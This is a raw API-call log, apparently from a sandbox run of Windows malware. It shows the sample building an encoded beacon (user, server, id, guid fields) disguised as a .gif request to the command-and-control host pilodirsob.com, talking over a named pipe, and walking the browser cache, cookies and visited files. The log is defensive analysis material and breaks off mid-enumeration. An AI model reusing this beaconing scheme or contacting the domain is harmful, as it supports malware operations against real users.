(lpString="/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif") returned 257 [0401.586] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x203) returned 0x274de60 [0401.586] InternetCanonicalizeUrlA (in: lpszUrl="/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif", lpszBuffer=0x274de60, lpdwBufferLength=0x30efcc4, dwFlags=0x0 | out: lpszBuffer="/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif", lpdwBufferLength=0x30efcc4) returned 1 [0401.587] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x10000000) returned 0xcc0008 [0401.587] InternetSetStatusCallbackA (hInternet=0xcc0008, lpfnInternetCallback=0x407038) returned 0x0 [0401.587] ResetEvent (hEvent=0x30c) returned 1 [0401.587] InternetConnectA (hInternet=0xcc0008, lpszServerName="pilodirsob.com", nServerPort=0x1bb, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x30efd14) returned 0xcc000c [0401.588] SetEvent (hEvent=0x30c) returned 1 [0401.588] HttpOpenRequestA (hConnect=0xcc000c, lpszVerb="GET", lpszObjectName="/images/jZqrkd6qeE46/7g6Fv_2FdEu/Do0MeEJh0LLzgG/T8TmZJYtoIN0od3xZNEfQ/2ySDg_2FTQYvHdsB/Rwkc3jVOpBTR_2F/mUe9_2Fp_2BeB_2FaY/5QbnIPuq4/uFrAnYo7qan8xnyHGrIs/fVOVgJP3OsIKrdJaf9L/pSnsMcCFz9ix_2BDc4TnBw/tiOyUqjVKd1KS/_2FTUK8h/6Pj2pznkRvVGrtjN2s5KVzU/Dtli55kT/5.gif", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84c03180, dwContext=0x30efd14) returned 0xcc0010 [0401.588] InternetQueryOptionA (in: hInternet=0xcc0010, dwOption=0x1f, lpBuffer=0x30efcd4, lpdwBufferLength=0x30efcc4 | out: lpBuffer=0x30efcd4, lpdwBufferLength=0x30efcc4) returned 1 [0401.588] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x1f, lpBuffer=0x30efcd4, dwBufferLength=0x4) returned 1 [0401.588] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x6, lpBuffer=0x30efce0, dwBufferLength=0x4) returned 1 [0401.588] InternetSetOptionA (hInternet=0xcc0010, dwOption=0x5, lpBuffer=0x30efce0, dwBufferLength=0x4) returned 1 [0401.588] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274de60 | out: hHeap=0x2350000) returned 1 [0401.588] ResetEvent (hEvent=0x30c) returned 1 [0401.588] ResetEvent (hEvent=0x960) returned 1 [0401.588] HttpSendRequestA (hRequest=0xcc0010, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 [0401.589] GetLastError () returned 0x3e5 [0401.589] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe90 | out: hHeap=0x2350000) returned 1 [0401.589] WaitForMultipleObjects (nCount=0x2, lpHandles=0x30efccc*=0x30c, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0422.616] SetEvent (hEvent=0x30c) returned 1 [0422.616] WaitForMultipleObjects (nCount=0x2, lpHandles=0x30efce4*=0x960, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0422.616] InternetSetStatusCallbackA (hInternet=0xcc0010, lpfnInternetCallback=0x0) returned 0x407038 [0422.616] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0422.616] InternetSetStatusCallbackA (hInternet=0xcc000c, lpfnInternetCallback=0x0) returned 0x407038 [0422.616] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0422.616] InternetSetStatusCallbackA (hInternet=0xcc0008, lpfnInternetCallback=0x0) returned 0x407038 [0422.616] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0422.616] CloseHandle (hObject=0x30c) returned 1 [0422.617] CloseHandle (hObject=0x960) returned 1 [0422.617] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x38) returned 0x274f310 [0422.617] CallNamedPipeA (in: lpNamedPipeName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}", lpInBuffer=0x274f310, nInBufferSize=0x38, lpOutBuffer=0x30efd10, nOutBufferSize=0xc, lpBytesRead=0x30efd1c, nTimeOut=0x1 | out: lpOutBuffer=0x30efd10, lpBytesRead=0x30efd1c) returned 1 [0422.627] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0422.627] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fd88 | out: hHeap=0x2350000) returned 1 [0422.627] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fc78 | out: hHeap=0x2350000) returned 1 [0422.627] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274d658 | out: hHeap=0x2350000) returned 1 [0422.627] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f2f0 | out: hHeap=0x2350000) returned 1 [0422.627] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f470 | out: hHeap=0x2350000) returned 1 [0422.627] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x102 [0422.627] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x0) returned 0x102 [0422.627] WaitForMultipleObjects (nCount=0x5, lpHandles=0x30efe28*=0xb0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x3 [0701.540] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0701.540] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x0 [0701.540] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x0 [0701.540] SetWaitableTimer (hTimer=0x1fc, lpDueTime=0x30efe18, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0701.540] SwitchToThread () returned 1 [0701.546] ReleaseMutex (hMutex=0x200) returned 1 [0701.546] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\AppDataLow\\Software\\Microsoft\\3632F5D8-1D04-D8B6-57CA-A18C7B9E6580", phkResult=0x30efd78 | out: phkResult=0x30efd78*=0x928) returned 0x0 [0701.546] RegQueryValueExA (in: hKey=0x928, lpValueName="LastTask", lpReserved=0x0, lpType=0x30efd74, lpData=0x0, lpcbData=0x30efdb4*=0x200 | out: lpType=0x30efd74*=0x0, lpData=0x0, lpcbData=0x30efdb4*=0x0) returned 0x2 [0701.546] RegCloseKey (hKey=0x928) returned 0x0 [0701.546] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x10000) returned 0x26d00d8 [0701.546] CreateFileA (lpFileName="\\\\.\\pipe\\{5797B6E3-CA4C-A155-8C7B-9E6580DFB269}" (normalized: "\\device\\namedpipe\\{5797b6e3-ca4c-a155-8c7b-9e6580dfb269}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x40000000, hTemplateFile=0x0) returned 0x928 [0701.552] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x684 [0701.552] WriteFile (in: hFile=0x928, lpBuffer=0x30efd50*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x30efd3c, lpOverlapped=0x30efd14 | out: lpBuffer=0x30efd50*, lpNumberOfBytesWritten=0x30efd3c*=0xc, lpOverlapped=0x30efd14) returned 1 [0701.573] CloseHandle (hObject=0x684) returned 1 [0701.574] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x684 [0701.574] ReadFile (in: hFile=0x928, lpBuffer=0x30efd50, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x30efd3c, lpOverlapped=0x30efd14 | out: lpBuffer=0x30efd50*, lpNumberOfBytesRead=0x30efd3c*=0xc, lpOverlapped=0x30efd14) returned 1 [0701.574] CloseHandle (hObject=0x684) returned 1 [0701.574] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x684 [0701.574] ReadFile (in: hFile=0x928, lpBuffer=0x26d00d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x30efd38, lpOverlapped=0x30efd10 | out: lpBuffer=0x26d00d8, lpNumberOfBytesRead=0x30efd38*=0x0, lpOverlapped=0x30efd10) returned 0 [0701.574] GetLastError () returned 0xe9 [0701.574] CloseHandle (hObject=0x684) returned 1 [0701.574] CloseHandle (hObject=0x928) returned 1 [0701.574] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x26d00d8 | out: hHeap=0x2350000) returned 1 [0701.574] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x800) returned 0x274f470 [0701.574] GetTickCount () returned 0xb78f6 [0701.574] wsprintfA (in: param_1=0x274f470, param_2="soft=1&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x&guid=%08x%08x%08x%08x" | out: param_1="soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=11e2176&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 127 [0701.574] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x11) returned 0x274f2f0 [0701.574] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x800) returned 0x274d658 [0701.574] GetTickCount () returned 0xb78f6 [0701.575] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x13) returned 0x274f310 [0701.575] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x7) returned 0x27489f8 [0701.575] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x7) returned 0x274f330 [0701.575] lstrlenA (lpString="%s=%s&") returned 6 [0701.575] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x13) returned 0x274f340 [0701.575] sprintf (in: _Dest=0x274f340, _Format="%s=%s&" | out: _Dest="clhxit=sdrxwa&") returned 14 [0701.575] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f330 | out: hHeap=0x2350000) returned 1 [0701.575] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0701.575] lstrlenA (lpString="clhxit=sdrxwa&") returned 14 [0701.575] lstrlenA (lpString="soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=11e2176&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 127 [0701.575] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x8e) returned 0x274fc78 [0701.575] strcpy (in: _Dest=0x274fc78, _Source="clhxit=sdrxwa&" | out: _Dest="clhxit=sdrxwa&") returned="clhxit=sdrxwa&" [0701.575] lstrcatA (in: lpString1="clhxit=sdrxwa&", lpString2="soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=11e2176&guid=ea61ad9b12ba194535a941e1b6b4241f" | out: lpString1="clhxit=sdrxwa&soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=11e2176&guid=ea61ad9b12ba194535a941e1b6b4241f") returned="clhxit=sdrxwa&soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=11e2176&guid=ea61ad9b12ba194535a941e1b6b4241f" [0701.575] lstrlenA (lpString="clhxit=sdrxwa&soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=11e2176&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 141 [0701.575] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x90) returned 0x274fd10 [0701.575] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x90) returned 0x274fda8 [0701.575] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fd10 | out: hHeap=0x2350000) returned 1 [0701.575] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x120) returned 0x274fe40 [0701.575] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fda8 | out: hHeap=0x2350000) returned 1 [0701.575] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fc78 | out: hHeap=0x2350000) returned 1 [0701.575] StrTrimA (in: psz="08fOuvOECMJ8jgVv5aYZdsPxbyb3uwFlLX2pq0B3cl46+Gd72+0FmNZlKlbphQkpCDTXpVwciXqMvCD+iQ9PCiQGaXe6ug2L0lbPS6KZ7AxiDJPeW9+cJ58vWzj9uWyE2m4Hw2YnmWRdg4/aTHobXHUisDQO7WutiVtPXZssCVCoDsz9MJSynqJJ5CCw3Kz9\n\r", pszTrimChars="\r\n=" | out: psz="08fOuvOECMJ8jgVv5aYZdsPxbyb3uwFlLX2pq0B3cl46+Gd72+0FmNZlKlbphQkpCDTXpVwciXqMvCD+iQ9PCiQGaXe6ug2L0lbPS6KZ7AxiDJPeW9+cJ58vWzj9uWyE2m4Hw2YnmWRdg4/aTHobXHUisDQO7WutiVtPXZssCVCoDsz9MJSynqJJ5CCw3Kz9") returned 1 [0701.575] lstrlenA (lpString="08fOuvOECMJ8jgVv5aYZdsPxbyb3uwFlLX2pq0B3cl46+Gd72+0FmNZlKlbphQkpCDTXpVwciXqMvCD+iQ9PCiQGaXe6ug2L0lbPS6KZ7AxiDJPeW9+cJ58vWzj9uWyE2m4Hw2YnmWRdg4/aTHobXHUisDQO7WutiVtPXZssCVCoDsz9MJSynqJJ5CCw3Kz9") returned 192 [0701.575] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x241) returned 0x274de60 [0701.575] _snprintf (in: _Dest=0x274de8c, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0701.575] _snprintf (in: _Dest=0x274de93, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0701.575] _snprintf (in: _Dest=0x274deb3, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0701.575] _snprintf (in: _Dest=0x274ded8, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0701.575] _snprintf (in: _Dest=0x274def6, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0701.575] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274fe40 | out: hHeap=0x2350000) returned 1 [0701.576] lstrlenA (lpString="08fOuvOECMJ8jgVv5aYZdsPxbyb3uwFlLX2pq0B3cl46_2BGd72_2B0FmNZlKlbphQkpCDTXpVwciXqMvCD_2BiQ9PCiQGaXe6ug2L0lbPS6KZ7AxiDJPeW9_2BcJ58vWzj9uWyE2m4Hw2YnmWRdg4_2FaTHobXHUisDQO7WutiVtPXZssCVCoDsz9MJSynqJJ5CCw3Kz9") returned 202 [0701.576] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xe4) returned 0x274fc78 [0701.576] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274de60 | out: hHeap=0x2350000) returned 1 [0701.576] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f340 | out: hHeap=0x2350000) returned 1 [0701.576] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274f310 | out: hHeap=0x2350000) returned 1 [0701.576] StrTrimA (in: psz="08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9", pszTrimChars="\r\n" | out: psz="08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9") returned 0 [0701.576] lstrlenA (lpString="/images/") returned 8 [0701.576] lstrlenA (lpString="08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9") returned 214 [0701.576] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xdf) returned 0x274fd68 [0701.576] lstrcpyA (in: lpString1=0x274fd68, lpString2="/images/" | out: lpString1="/images/") returned="/images/" [0701.576] lstrcatA (in: lpString1="/images/", lpString2="08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9" | out: lpString1="/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9") returned="/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9" [0701.576] lstrcpyA (in: lpString1=0x274fc78, lpString2=".gif" | out: lpString1=".gif") returned=".gif" [0701.576] lstrcpyA (in: lpString1=0x274d658, lpString2="pilodirsob.com" | out: lpString1="pilodirsob.com") returned="pilodirsob.com" [0701.576] lstrcatA (in: lpString1="pilodirsob.com", lpString2="/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9" | out: lpString1="pilodirsob.com/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9") returned="pilodirsob.com/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9" [0701.576] lstrcatA (in: lpString1="pilodirsob.com/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9", lpString2=".gif" | out: lpString1="pilodirsob.com/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif") returned="pilodirsob.com/images/08fOuvOECMJ8jg/Vv5aYZdsPxbyb3uwFlLX2/pq0B3cl46_2BGd72/_2B0FmNZlKlbphQ/kpCDTXpVwciXqMvCD_/2BiQ9PCiQ/GaXe6ug2L0lbPS6KZ7Ax/iDJPeW9_2BcJ58vWzj9/uWyE2m4Hw2YnmWRdg4_2Fa/THobXHUisDQO7/WutiVtPX/ZssCVCoDsz9MJSynqJJ5CCw/3Kz9.gif" [0701.576] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x1000) returned 0x26d00d8 [0701.576] FindFirstUrlCacheEntryA (in: lpszUrlSearchPattern=0x0, lpFirstCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpFirstCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 0x1 [0701.576] StrStrIA (lpFirst="https://www.google.com/images/branding/googlelogo/1x/googlelogo_white_background_color_272x92dp.png", lpSrch="pilodirsob.com") returned 0x0 [0701.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.577] StrStrIA (lpFirst="https://www.google.com/xjs/_/js/k=xjs.hp.en.CxYNq1jaiRs.O/m=sb_he,hjsa,d,csi/am=4KEW/d=1/rs=ACT90oFrCSGntP4_dk5FCcNtEAJedda8zg", lpSrch="pilodirsob.com") returned 0x0 [0701.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.577] StrStrIA (lpFirst="https://www.google.com/images/nav_logo229.png", lpSrch="pilodirsob.com") returned 0x0 [0701.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.577] StrStrIA (lpFirst="https://www.google.com/favicon.ico", lpSrch="pilodirsob.com") returned 0x0 [0701.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.577] StrStrIA (lpFirst="https://www.google.com/?gws_rd=ssl", lpSrch="pilodirsob.com") returned 0x0 [0701.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.577] StrStrIA (lpFirst="Cookie:aetadzjz@live.com/", lpSrch="pilodirsob.com") returned 0x0 [0701.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.577] StrStrIA (lpFirst="Cookie:aetadzjz@google.com/", lpSrch="pilodirsob.com") returned 0x0 [0701.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.577] StrStrIA (lpFirst="Cookie:aetadzjz@g.live.com/", lpSrch="pilodirsob.com") returned 0x0 [0701.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.577] StrStrIA (lpFirst="Cookie:aetadzjz@google.de/", lpSrch="pilodirsob.com") returned 0x0 [0701.577] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/2_3-k08.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0701.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/K8sS5cZiPNkVmh.jpg", lpSrch="pilodirsob.com") returned 0x0 [0701.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/A3Y6ZiC%206H.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/atEPrko.doc", lpSrch="pilodirsob.com") returned 0x0 [0701.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/-lBtKjvttR6.gif", lpSrch="pilodirsob.com") returned 0x0 [0701.578] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54 | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd54) returned 1 [0701.578] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/qqiIPehxsG7oP4.mkv", 